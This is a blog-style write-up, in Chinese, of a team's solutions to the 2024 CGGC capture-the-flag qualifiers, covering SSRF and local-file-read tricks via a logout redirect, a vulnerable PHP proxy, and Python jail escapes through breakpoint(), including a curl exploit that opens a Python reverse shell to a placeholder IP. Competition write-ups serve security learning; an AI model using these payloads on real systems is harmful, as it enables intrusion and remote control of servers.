Cavern.sigma
Welcome to Cavern.sigma
[TOC] ## 成績 ![Score](https://img.stoneapp.tech/t510599/cggc-2024/quals/Score.jpg) 窩不資到 10th 看完整[Profile](https://img.stoneapp.tech/t510599/cggc-2024/quals/Profile.jpeg)、[Scoreboard](https://img.stoneapp.tech/t510599/cggc-2024/quals/Scoreboard.jpeg) ## 比賽資訊 2024 CGGC 網路守護者挑戰賽 初賽 時間: 2024/11/2 12:00 ~ 2024/11/4 00:00 (36hr) 官網: https://cggc.nchc.org.tw/ 取前 10 進決賽 ## 前言 繼上次[神盾盃](post.php?pid=980) 又跟 @a91082900 還有 @kuokuoyiyi 大佬一起打 CTF 了 最後又壓線賽進決賽了 XDD 一樣寫個 writeup 紀錄一下 (只有放自己有解的題目) --- 待補 ## Reverse ### very_secure 題目附了一個 esp32 的 firmware 裡面有一個 HTTP Server flag: `CGGC{i0t_ar3_very_secure}` ## Web ### Preview Site 🔍 有登入、登出跟 fetch url 的功能 fetch url 只能是 `http://previewsite/` 開頭的 url 而內部則用 `urllib.request.urlopen` 來連線 他同時也支援 `file:` scheme 所以可以 LFI 其中登出可以帶 `next` 參數 登出後會 redirect 到該 url 又因為 fetch url 會 follow 一次 redirect 所以可以給他 `/logout?next=file:///flag` 來存取 server 上的 `/flag` flag: *沒存到 OwO* ### proxy 一樣是有 fetch url 功能的網站 題目說存取 `http://secretweb/flag` 來拿到 flag 另外其 source code 如下: ``` function proxy($service) { // $service = "switchrange"; // $service = "previewsite"; // $service = "越獄"; $requestUri = $_SERVER['REQUEST_URI']; $parsedUrl = parse_url($requestUri); $port = 80; if (isset($_GET['port'])) { $port = (int)$_GET['port']; } else if ($_COOKIE["port"]) { $port = (int)$_COOKIE['port']; } setcookie("service", $service); setcookie("port", $port); $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@'; $fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter); $fixeddomain = idn_to_ascii($fixeddomain); $fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain); curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']); curl_exec($ch); curl_close($ch); } ``` 這邊可以看到他會 filter service 裡面的符號後拼成 domain 再傳給 `idn_to_ascii` 最後只留下數字、字母、dash、底線、點跟 port 用的冒號 因為他用 curl 預設會 follow redirect 又比賽中 `<service>.cggc.chummy.tw` 是會解析到該題的 所以可以借用前一題 [Preview Site](#Preview%20Site%20%F0%9F%94%8D) 的 redirect 直接導到 `http://secretweb/flag` 去 payload: `http://10.99.66.6/logout?port=10002&service=previewsite&next=http://secretweb/flag` #### 另解 flag: `CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}` ### Breakjail Online 🛜 exploit: ``` curl -g "http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=%5B%22u%205%22,%22p%20exec(getattr(request,'query%5Cx5fstring')%5B109:%5D)%22%5D)&cmd=s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(('<ip>',40005));__import__('os').dup2(s.fileno(),0);__import__('os').dup2(s.fileno(),1);__import__('os').dup2(s.fileno(),2);__import__('pty').spawn('/bin/bash')" ``` flag: `CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}` ## Misc ### Breakjail ⛓️ exp: ``` breakpoint(commands=["u 10","p (*open('flag'),)"]) ``` flag: `CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}`
2024-11-04 03:28:07
留言
Last fetch: --:-- 
現在還沒有留言!